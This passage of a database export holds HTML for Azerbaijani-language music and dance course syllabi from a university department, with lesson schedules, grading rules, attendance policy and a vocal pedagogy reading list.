style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">4</p></td><td width=\"98\"><p style=\"background:undefined \">28.09.12</p></td><td width=\"441\"><p style=\"background:undefined \">Vokalizlər-a hərfi ilə və notların adını çəkərək oxumaq</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">5</p></td><td width=\"98\"><p style=\"background:undefined \">02.10.12</p></td><td width=\"441\"><p style=\"background:undefined \">Sinə və beyin rezonatorlarının eyni dərəcədə səslənməsi</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">6</p></td><td width=\"98\"><p style=\"background:undefined \">05.10.12</p></td><td width=\"441\"><p style=\"background:undefined \">Bir not üzərindəbütün sait hərfləri oxunuşu</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">7</p></td><td width=\"98\"><p style=\"background:undefined \">09.10.12</p></td><td width=\"441\"><p style=\"background:undefined \">Nəfəs tutumunun genişlənməsi üçün məşğələlər</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">8</p></td><td width=\"98\"><p style=\"background:undefined \">12.10.12</p></td><td width=\"441\"><p style=\"background:undefined \">Artikulyasiya üzərində işləmələr</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">9</p></td><td width=\"98\"><p style=\"background:undefined \">16.10.12</p></td><td width=\"441\"><p style=\"background:undefined \">Səs diapazonunun genişlənməsi üçün məşğlər</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">10</p></td><td width=\"98\"><p style=\"background:undefined \">19.10.12</p></td><td width=\"441\"><p style=\"background:undefined \">Programsecimi</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">11</p></td><td width=\"98\"><p style=\"background:undefined \">23.10.12</p></td><td width=\"441\"><p style=\"background:undefined \">Azərbaycan bəstəkar mahnısının,vokal üzərində iş</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">12</p></td><td width=\"98\"><p style=\"background:undefined \">26.10.12</p></td><td width=\"441\"><p style=\"background:undefined \">Ifa boyu nəfəs dayağı ilə ələqənin gorunub saxlanması</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">13</p></td><td width=\"98\"><p style=\"background:undefined \">30.10.12.</p></td><td width=\"441\"><p style=\"background:undefined \">Artikulyasiya</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">14</p></td><td width=\"98\"><p style=\"background:undefined \">02.11.12</p></td><td width=\"441\"><p style=\"background:undefined \">Milli əsərlərin ifasında öz azərb.cəhətlərinin qorunması</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">15</p></td><td width=\"98\"><p style=\"background:undefined \">06.11.12</p></td><td width=\"441\"><p style=\"background:undefined \">Bəstəkarın&nbsp; ideyasına&nbsp; aktuallıq&nbsp; cəhətdən yanaşmaq</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">16</p></td><td width=\"98\"><p style=\"background:undefined \">09.11.12</p></td><td width=\"441\"><p style=\"background:undefined \">İfaçılıqda zövq prinsipinə diqqətin yetirilməsi</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">17</p></td><td width=\"98\"><p style=\"background:undefined \">13.11.12</p></td><td width=\"441\"><p style=\"background:undefined \">Secilmiş əsərlərin üstündə iş: diksiya,tələfüz.</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">18</p></td><td width=\"98\"><p style=\"background:undefined \">16.11.12</p></td><td width=\"441\"><p style=\"background:undefined \">Programda olan əsərlərin təhlil olunması</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">19</p></td><td width=\"98\"><p style=\"background:undefined \">20.11.12</p></td><td width=\"441\"><p style=\"background:undefined \">Bəstəkarın&nbsp; ideyasına&nbsp; aktuallıq&nbsp; cəhətdən yanaşmaq</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">20</p></td><td width=\"98\"><p style=\"background:undefined \">23.11.12</p></td><td width=\"441\"><p style=\"background:undefined \">Bəstəkar mahnıların üstündə işləmələr</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">21</p></td><td width=\"98\"><p style=\"background:undefined \">27.11.12</p></td><td width=\"441\"><p style=\"background:undefined \">Xariçi əsərlərinv sözlərin,hecaların və əsərin musigi&nbsp; cümlələrinin&nbsp; üzərində&nbsp; işləmələr</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">22</p></td><td width=\"98\"><p style=\"background:undefined \">30.11.12</p></td><td width=\"441\"><p style=\"background:undefined \">İfaçılıqda zövq prinsipinə diqqətin yetirilməsi</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">23</p></td><td width=\"98\"><p style=\"background:undefined \">04.12.12</p></td><td width=\"441\"><p style=\"background:undefined \">Obyektə təsir etmə elementlərinin aydınlaşması</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">24</p></td><td width=\"98\"><p style=\"background:undefined \">07.12.12</p></td><td width=\"441\"><p style=\"background:undefined \">Məntiqi vurğuların icrasına diqqətin yetirilməsi</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">25</p></td><td width=\"98\"><p style=\"background:undefined \">11.12.12</p></td><td width=\"441\"><p style=\"background:undefined \">İfaçılıqda zövq prinsipinə diqqətin yetirilməsi</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">26</p></td><td width=\"98\"><p style=\"background:undefined \">14.12.12</p></td><td width=\"441\"><p style=\"background:undefined \">Dünya ifaçılarının nümunəvi iş prinsipindən sitatlar</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">27</p></td><td width=\"98\"><p style=\"background:undefined \">20.12.12</p></td><td width=\"441\"><p style=\"background:undefined \">Seçilmiş əsərlərin təhlil olunması</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">28</p></td><td width=\"98\"><p style=\"background:undefined \">21.12.12</p></td><td width=\"441\"><p style=\"background:undefined \">İfaçılıqda ansambl.Müşayiətçı ilə qarşılıqlı anlaşma</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">29</p></td><td width=\"98\"><p style=\"background:undefined \">27.12.12</p></td><td width=\"441\"><p style=\"background:undefined \">İfaçılıqda səmimiyyətin aşılanması</p></td><td width=\"47\"><p style=\"background:undefined \">2</p></td></tr><tr><td width=\"35\"><p style=\"background:undefined \">30</p></td><td width=\"98\"><p style=\"background:undefined \">28.12.12</p></td><td width=\"441\"><p style=\"background:undefined \">İmtahanda ifa olunacaq əsərlərə təkrar baxış</p></td><td width=\"47\"><p style=\"background:undefined \">4</p></td></tr></tbody></table><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Cəmi:64 saat</p><p style=\"background:undefined \"><strong>Vokal fənni kursunda istifadəolunmaq üçün ədəbiyyat</strong></p><p style=\"background:undefined \">&nbsp;</p><ol><li>Zdanovic-“Nekotoriye voprosı vokalnoy metodiki.”&nbsp;</li><li>Lukanin “Obuceniye i vospitaniye molodogo pevsa.”</li><li>Morozov “Iskusstvo rezonansnogo peniya”.</li><li>Komyakov “Uroki texniceskoy reci v samodeyatelnom kollektive”.</li><li>Leonardi “Diksiya i Orfoepiya”</li></ol><p style=\"background:undefined \">6 . İstoriya Azerbaydjanskoy muzıki.</p><p style=\"background:undefined \">7. &nbsp;Ü.Hacıbəyov.Qulam Məmmədli.</p><p style=\"background:undefined \">8. &nbsp;“Ü.Hacıbəyov gündəlik yazmış olsaydı.” Mirabbas Aslanov.</p><p style=\"background:undefined \">9. &nbsp;Zemfira Səfərova”Azərbaycanın musiqi elmi. “</p><p style=\"background:undefined \">&nbsp;&nbsp; 10. Аbdulov-Rukovodstvo “po postanovke pevceskogo i razgovornogo &nbsp;golosa. “</p><p style=\"background:undefined \">11.Dmitriyev L.B. “Osnovı vokalnoy metodiki. “</p><p style=\"background:undefined \">12.Dmitriyev L.B. “Golosoobrazovaniye u pevtsov. “</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">13. Yegorov А.М. Qiqiyena “golosa i ego fizeologiceskiye osnovı.”</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">14.Кomyakova Q.”Uroki texniceskoy reci v samodeyatelnom</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; kollektive.”</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">15. Kozlyaninova İ. “Kultura stseniceskoy reci.”</p><div style=\"background:undefined \"><br></div></div></div></div><br></div>'),(1233,760,'en','Sillabus','Sillabus','<div><br></div><div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div><p><strong>Xəzər Universiteti Musiqi və İncəsənət departamenti</strong></p><p><strong>“Vokal” Sinifi</strong></p><p><strong>Vokal fənnindən Syllabus</strong></p><p><strong>&nbsp;</strong></p><p><strong>Müəllim:&nbsp;</strong>Anar Hüseynli<strong>&nbsp;</strong></p><p><strong>Telefon: &nbsp;</strong>050&nbsp;321 10 22<strong>&nbsp;</strong></p><p><strong>Semestr :&nbsp;Fall 2014</strong></p><p><strong>Kredit:&nbsp;&nbsp;&nbsp;</strong>sayı 3 kredit</p><p>&nbsp;</p><p><strong>Final:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>40 bal<strong>&nbsp;</strong></p><p><strong>Midterm:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>30 bal<strong>&nbsp;</strong></p><p><strong>Davamiyyət :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>10 bal<strong>&nbsp;</strong></p><p><strong>Tədbirlərdə iştirak:&nbsp;&nbsp;</strong>20 bal</p><p>&nbsp;</p><p>&nbsp;</p><p><strong>Davamiyyət</strong></p><p>Tələbələrin bütün dərslərdə iştirakı vacibdir.Tələbələr hər hansı bir səbəbdən dərslərin buraxılması(xəstəlik,ailə vəziyyəti və s.)haqqında məlumatı fakultə dekanına təqdim etməlidirlər.20% artıq dərs buraxan tələbələr dərsə buraxılmır.<strong>&nbsp;</strong></p><p>&nbsp;</p><p><strong>&nbsp;</strong></p><p><strong>İmtahan qaydaları</strong></p><p>Tələbələrin imtahanda iştirakı və ya imtahanaburaxılması ilə bağlı bütün məsələlər fakultə rəhbərliyi tərəfindən həll olunur. İmtahan hesabat və yekun konsertləri şəkilində keçirilir.</p><p><strong>&nbsp;</strong></p><p><strong>Fənni bitirmək qaydaları</strong></p><p>Universitein qaydalarına üvafiq olaraq kursu bitirmək üçün ümumi müvəffəqiyyət faizi 60 və yuxarı hesab edilir.Kəsri olan tələbələr bu fənni növbəti il təkrar götürə bilərlər.</p><p>&nbsp;</p><p>&nbsp;</p><p>Vokal Kursuna Giriş</p><p>&nbsp;</p><p>Musiqi, sözün əsl mənasında böyük və qüdrətli varlıqdır. Onun imkan dairəsi inanılmaz dərəcədə genişdir. Bir çox musiqişünaslar musiqini belə xarakterizə etmişlər.Musiqi həyat həqiqətləri bədii səs vasitəsilə obrazlı şəkildə təsvir edən və insan psixikasına aktiv təsir göstərən incəsənət növüdür.İnsanların emosional vəziyyətini konkret inandırıcı əks etdirən bu sənət bəşəriyyət tarixində böyük ictimai tərbiyəvi rol oynmamışdır.Bu tərif, musiqi haqqında, onun qüdrətli bir sənət olmasına dair konkret bir fikir formalaşdırır.</p><p>Musiqi insanın həm beyninin. Həm də könlünün dostudur.Musiqi bəşər aləmində mənəvi islahatlar&nbsp; və bu yöndə çox&nbsp; böyük dəyişiklər aparmaq qüdrətinə malik bir elmdir.Onun elmliyi insanların nəinki mənəviyyatının, əxlaqının, zövqünün,idrakının inkişafında aparıcı rol oynamasındadır,hətta bu keyfiyyətlərən yararlanaraq&nbsp; həyatın digər sahələrində insanlara yüksək nailiiyətlər bəxş etmək,habelə xalqın həyat tərzinin tərəqqisinə uğur gətirmək iqtidarında olmasındadır.Elə bu səbədən tələbələrin vokal&nbsp; klassik opera,tədrisi vacib olan şərtlərdəndir.Kurs özündə&nbsp; klassik opera.operetto, bəstəkar mahnıları klassik estrada, xalq mahnılarını cəmləşdirir. Sənətin&nbsp; tarxi ilə yaxından tanış edərək, tələbələrdə dünya və milli musiqisinin ən gözəl zəmilərində yüksək zövq, dəhnə mədəniyyəti&nbsp; və professional duyum tərbiyə edir.</p><p><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p><p><strong>Dərs proqramı</strong></p><table cellspacing=\"0\" cellpadding=\"0\" width=\"621\"><tbody><tr><td width=\"35\"><p>N</p></td><td width=\"98\"><p>Tarix</p></td><td width=\"441\"><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mövzu və tapşırıq</p></td><td width=\"47\"><p>saat</p></td></tr><tr><td width=\"35\"><p>1</p></td><td width=\"98\"><p>18.09.12</p></td><td width=\"441\"><p>Səs üzrə işləmə</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>2</p></td><td width=\"98\"><p>21.09.12</p></td><td width=\"441\"><p>Nəfəs genişlənmə ilə bağlı məşqələlər</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>3</p></td><td width=\"98\"><p>25.09.12.</p></td><td width=\"441\"><p>Səs məşğələri (müxtəlif intervallarla)</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>4</p></td><td width=\"98\"><p>28.09.12</p></td><td width=\"441\"><p>Vokalizlər-a hərfi ilə və notların adını çəkərək oxumaq</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>5</p></td><td width=\"98\"><p>02.10.12</p></td><td width=\"441\"><p>Sinə və beyin rezonatorlarının eyni dərəcədə səslənməsi</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>6</p></td><td width=\"98\"><p>05.10.12</p></td><td width=\"441\"><p>Bir not üzərindəbütün sait hərfləri oxunuşu</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>7</p></td><td width=\"98\"><p>09.10.12</p></td><td width=\"441\"><p>Nəfəs tutumunun genişlənməsi üçün məşğələlər</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>8</p></td><td width=\"98\"><p>12.10.12</p></td><td width=\"441\"><p>Artikulyasiya üzərində işləmələr</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>9</p></td><td width=\"98\"><p>16.10.12</p></td><td width=\"441\"><p>Səs diapazonunun genişlənməsi üçün məşğlər</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>10</p></td><td width=\"98\"><p>19.10.12</p></td><td width=\"441\"><p>Programsecimi</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>11</p></td><td width=\"98\"><p>23.10.12</p></td><td width=\"441\"><p>Azərbaycan bəstəkar mahnısının,vokal üzərində iş</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>12</p></td><td width=\"98\"><p>26.10.12</p></td><td width=\"441\"><p>Ifa boyu nəfəs dayağı ilə ələqənin gorunub saxlanması</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>13</p></td><td width=\"98\"><p>30.10.12.</p></td><td width=\"441\"><p>Artikulyasiya</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>14</p></td><td width=\"98\"><p>02.11.12</p></td><td width=\"441\"><p>Milli əsərlərin ifasında öz azərb.cəhətlərinin qorunması</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>15</p></td><td width=\"98\"><p>06.11.12</p></td><td width=\"441\"><p>Bəstəkarın&nbsp; ideyasına&nbsp; aktuallıq&nbsp; cəhətdən yanaşmaq</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>16</p></td><td width=\"98\"><p>09.11.12</p></td><td width=\"441\"><p>İfaçılıqda zövq prinsipinə diqqətin yetirilməsi</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>17</p></td><td width=\"98\"><p>13.11.12</p></td><td width=\"441\"><p>Secilmiş əsərlərin üstündə iş: diksiya,tələfüz.</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>18</p></td><td width=\"98\"><p>16.11.12</p></td><td width=\"441\"><p>Programda olan əsərlərin təhlil olunması</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>19</p></td><td width=\"98\"><p>20.11.12</p></td><td width=\"441\"><p>Bəstəkarın&nbsp; ideyasına&nbsp; aktuallıq&nbsp; cəhətdən yanaşmaq</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>20</p></td><td width=\"98\"><p>23.11.12</p></td><td width=\"441\"><p>Bəstəkar mahnıların üstündə işləmələr</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>21</p></td><td width=\"98\"><p>27.11.12</p></td><td width=\"441\"><p>Xariçi əsərlərinv sözlərin,hecaların və əsərin musigi&nbsp; cümlələrinin&nbsp; üzərində&nbsp; işləmələr</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>22</p></td><td width=\"98\"><p>30.11.12</p></td><td width=\"441\"><p>İfaçılıqda zövq prinsipinə diqqətin yetirilməsi</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>23</p></td><td width=\"98\"><p>04.12.12</p></td><td width=\"441\"><p>Obyektə təsir etmə elementlərinin aydınlaşması</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>24</p></td><td width=\"98\"><p>07.12.12</p></td><td width=\"441\"><p>Məntiqi vurğuların icrasına diqqətin yetirilməsi</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>25</p></td><td width=\"98\"><p>11.12.12</p></td><td width=\"441\"><p>İfaçılıqda zövq prinsipinə diqqətin yetirilməsi</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>26</p></td><td width=\"98\"><p>14.12.12</p></td><td width=\"441\"><p>Dünya ifaçılarının nümunəvi iş prinsipindən sitatlar</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>27</p></td><td width=\"98\"><p>20.12.12</p></td><td width=\"441\"><p>Seçilmiş əsərlərin təhlil olunması</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>28</p></td><td width=\"98\"><p>21.12.12</p></td><td width=\"441\"><p>İfaçılıqda ansambl.Müşayiətçı ilə qarşılıqlı anlaşma</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>29</p></td><td width=\"98\"><p>27.12.12</p></td><td width=\"441\"><p>İfaçılıqda səmimiyyətin aşılanması</p></td><td width=\"47\"><p>2</p></td></tr><tr><td width=\"35\"><p>30</p></td><td width=\"98\"><p>28.12.12</p></td><td width=\"441\"><p>İmtahanda ifa olunacaq əsərlərə təkrar baxış</p></td><td width=\"47\"><p>4</p></td></tr></tbody></table><p>&nbsp;</p><p><strong>&nbsp;</strong></p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Cəmi:64 saat</p><p><strong>Vokal fənni kursunda istifadəolunmaq üçün ədəbiyyat</strong></p><p>&nbsp;</p><ol><li>Zdanovic-“Nekotoriye voprosı vokalnoy metodiki.”&nbsp;</li><li>Lukanin “Obuceniye i vospitaniye molodogo pevsa.”</li><li>Morozov “Iskusstvo rezonansnogo peniya”.</li><li>Komyakov “Uroki texniceskoy reci v samodeyatelnom kollektive”.</li><li>Leonardi “Diksiya i Orfoepiya”</li></ol><p>6 . İstoriya Azerbaydjanskoy muzıki.</p><p>7. &nbsp;Ü.Hacıbəyov.Qulam Məmmədli.</p><p>8. &nbsp;“Ü.Hacıbəyov gündəlik yazmış olsaydı.” Mirabbas Aslanov.</p><p>9. &nbsp;Zemfira Səfərova”Azərbaycanın musiqi elmi. “</p><p>&nbsp;&nbsp; 10. Аbdulov-Rukovodstvo “po postanovke pevceskogo i razgovornogo &nbsp;golosa. “</p><p>11.Dmitriyev L.B. “Osnovı vokalnoy metodiki. “</p><p>12.Dmitriyev L.B. “Golosoobrazovaniye u pevtsov. “</p><p>&nbsp;</p><p>13. Yegorov А.М. Qiqiyena “golosa i ego fizeologiceskiye osnovı.”</p><p>&nbsp;</p><p>14.Кomyakova Q.”Uroki texniceskoy reci v samodeyatelnom</p><p>&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; kollektive.”</p><p>&nbsp;</p><p>15. Kozlyaninova İ. “Kultura stseniceskoy reci.”</p><div><br></div></div></div>  <br></div>'),(1234,761,'az','Sillabuslar ','Sillabuslar ','<div><br></div><div> <div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p style=\"background:undefined \"><strong>Xəzər Universitəsi Musiqi və İncəsənət departamenti&nbsp;</strong><strong><br><br></strong></p><p style=\"background:undefined \"><strong>Oğlanlar Üçün “Rəqs” Fənni&nbsp;<br><br></strong></p><p style=\"background:undefined \"><strong>Rəqs fənnindən Syllabus</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Müəllim:&nbsp;</strong>Fərid Əliyev</p><p style=\"background:undefined \"><strong>Telefon:&nbsp;&nbsp;</strong>055&nbsp;781 14 43</p><p style=\"background:undefined \"><strong>Semestr:&nbsp;</strong>Fall 2014</p><p style=\"background:undefined \"><strong>Kredit:&nbsp;&nbsp;&nbsp;</strong>sayı 3 kredit</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Final:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>40 bal</p><p style=\"background:undefined \"><strong>Midterm:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>30 bal</p><p style=\"background:undefined \"><strong>Davamiyyət:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>10 bal</p><p style=\"background:undefined \"><strong>Tədbirlərdə iştirak:&nbsp;&nbsp;&nbsp;</strong>20 bal</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Davamiyyət</strong></p><p style=\"background:undefined \">Tələbələrin bütün dərslərdə iştirakı vacibdir.Tələbələr hər hansı bir səbəbdən dərslərin buraxılması (xəstəlik,ailə vəziyyəti və s.) haqqında məlumatı fakultə dekanına təqdim etməlidirlər.20% artıq dərs buraxan tələbələr dərsə buraxılmır.</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>İmtahan qaydaları</strong></p><p style=\"background:undefined \">Tələbələrin imtahanda iştirakı və ya imtahanaburaxılması ilə bağlı bütün məsələlər fakultə rəhbərliyi tərəfindən həll olunur. İmtahan hesabat və yekun konsertləri şəkilində keçirilir.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Fənni bitirmək qaydaları</strong></p><p style=\"background:undefined \">Universitein qaydalarına üvafiq olaraq kursu bitirmək üçün ümumi müvəffəqiyyət faizi 60 bal və yuxarı hesab edilir. Kəsri olan tələbələr bu fənni növbəti il təkrar götürə bilər</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Kursa Giriş</strong></p><p style=\"background:undefined \">Rəqs-sadəcə hərəkətlər yığımı deyil, rəqs-hisslərin ifadə olunması,konkret xalqın əksidir.İstənilən xalq rəqsi özündə,məxsus olduğu xalqın mədəniyyətinin ruhunu yaşadır.</p><p style=\"background:undefined \">Amma bu günkü xalq rəqsi hər şeydə olmasa da bir çox şeylərdə ötən onilliklərin rəqslərindən fərqlənir. İfa etmə tərzi dəyişir. Yeni kolorit əlavə olunur, hərəkətlər yeni çalarlar ifadə edir, rəqs texnikası çətinləşir,</p><p style=\"background:undefined \">Düzgün və savadlı qoyulmuş rəqslə nifrətdən məhəbbətə qədər bütün&nbsp; hissləri, səmimiyyət və canlılıq, xalqın xarakterini ifade etmək olar.</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Kursun məqsədi:</strong></p><p style=\"background:undefined \">Hər bir təlim pilləsinin öz spesifik&nbsp; xüsüsiyyətləri ,öz çətinlikləri var. Əgər ilk təhsil ilində rəqsin bünövrəsi qoyulur , onun əsasında hərəkətlər öyrənilir, dözümlülük tərbiyə olunur, hərəkətin ifadəli olmasına diqqət yetirilirsə, ikinci və üçüncü təhsil illəri keyfiyyətcə yeni təhsil pilləsidir.</p><p style=\"background:undefined \">Sinif proqramından asılı olaraq, hər bir dərs bölməsi öz vəzifələri və müəyyən bir hərəkətin digərini əvəz etməsi qaydasına malikdir. Bu qayda iradi deyil. Pedaqoq dərsi&nbsp; öz şagirdlərinin&nbsp; professional&nbsp; və fiziki imkanlarını nəzərə almaqla qurmalı, fiziki yükü düşünülmüş qaydada növbələşdirməli və 